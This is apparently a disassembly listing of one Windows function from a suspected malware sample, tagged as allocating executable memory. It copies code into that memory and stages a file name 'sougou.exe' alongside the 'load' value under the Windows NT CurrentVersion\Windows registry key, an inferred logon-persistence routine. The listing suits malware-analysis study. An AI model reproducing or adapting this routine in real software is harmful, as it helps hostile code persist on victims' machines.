Function at 0x10017286
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x10058684]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x118], 0x400
push 0x40
push 0x1000
push dword [ebp - 0x118]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x100174e1
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x12c], eax
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x120], eax
push 0x1004f238
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1005b7f8], eax
push 0x1004f244
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1005b7f4], eax
push 0x1004f254
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1005b7f0], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea eax, [ebp - 0x110]
push eax
call fcn.1000398f
pop ecx
pop ecx
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
je 0x1001736b
mov eax, dword [ebp - 0x128]
mov byte [eax + 1], 0
push 0x104
push 0x1005b9b0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov eax, 0x1005b9b0
dec eax
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
mov al, byte [eax + 1]
mov byte [ebp - 0x131], al
inc dword [ebp - 0x130]
cmp byte [ebp - 0x131], 0
jne 0x1001738e
mov edi, dword [ebp - 0x130]
mov esi, str.sougou.exe
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x138], 0x1005b9b0
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x138]
mov al, byte [eax]
mov byte [ebp - 0x13d], al
inc dword [ebp - 0x138]
cmp byte [ebp - 0x13d], 0
jne 0x100173d3
mov eax, dword [ebp - 0x138]
sub eax, dword [ebp - 0x13c]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
inc eax
mov dword [0x1005b7dc], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [0x1005b7ec], eax
push 0x41
pop ecx
mov esi, 0x1005b9b0
mov edi, dword [ebp - 0x114]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x114]
add eax, 0x104
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [0x1005b7e8], eax
push 0xd
pop ecx
mov esi, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
mov edi, dword [ebp - 0x114]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x114]
add eax, 0x35
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [0x1005b7e4], eax
mov esi, str.load
mov edi, dword [ebp - 0x114]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x114]
add eax, 5
mov dword [ebp - 0x114], eax
push dword [ebp - 0x118]
push 0x10017233
push dword [ebp - 0x114]
call fcn.10021760
add esp, 0xc
and dword [ebp - 0x124], 0
lea eax, [0x100174c9]
mov dword [0x1005b7e0], eax
jmp dword [ebp - 0x114]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001d73b
leave
ret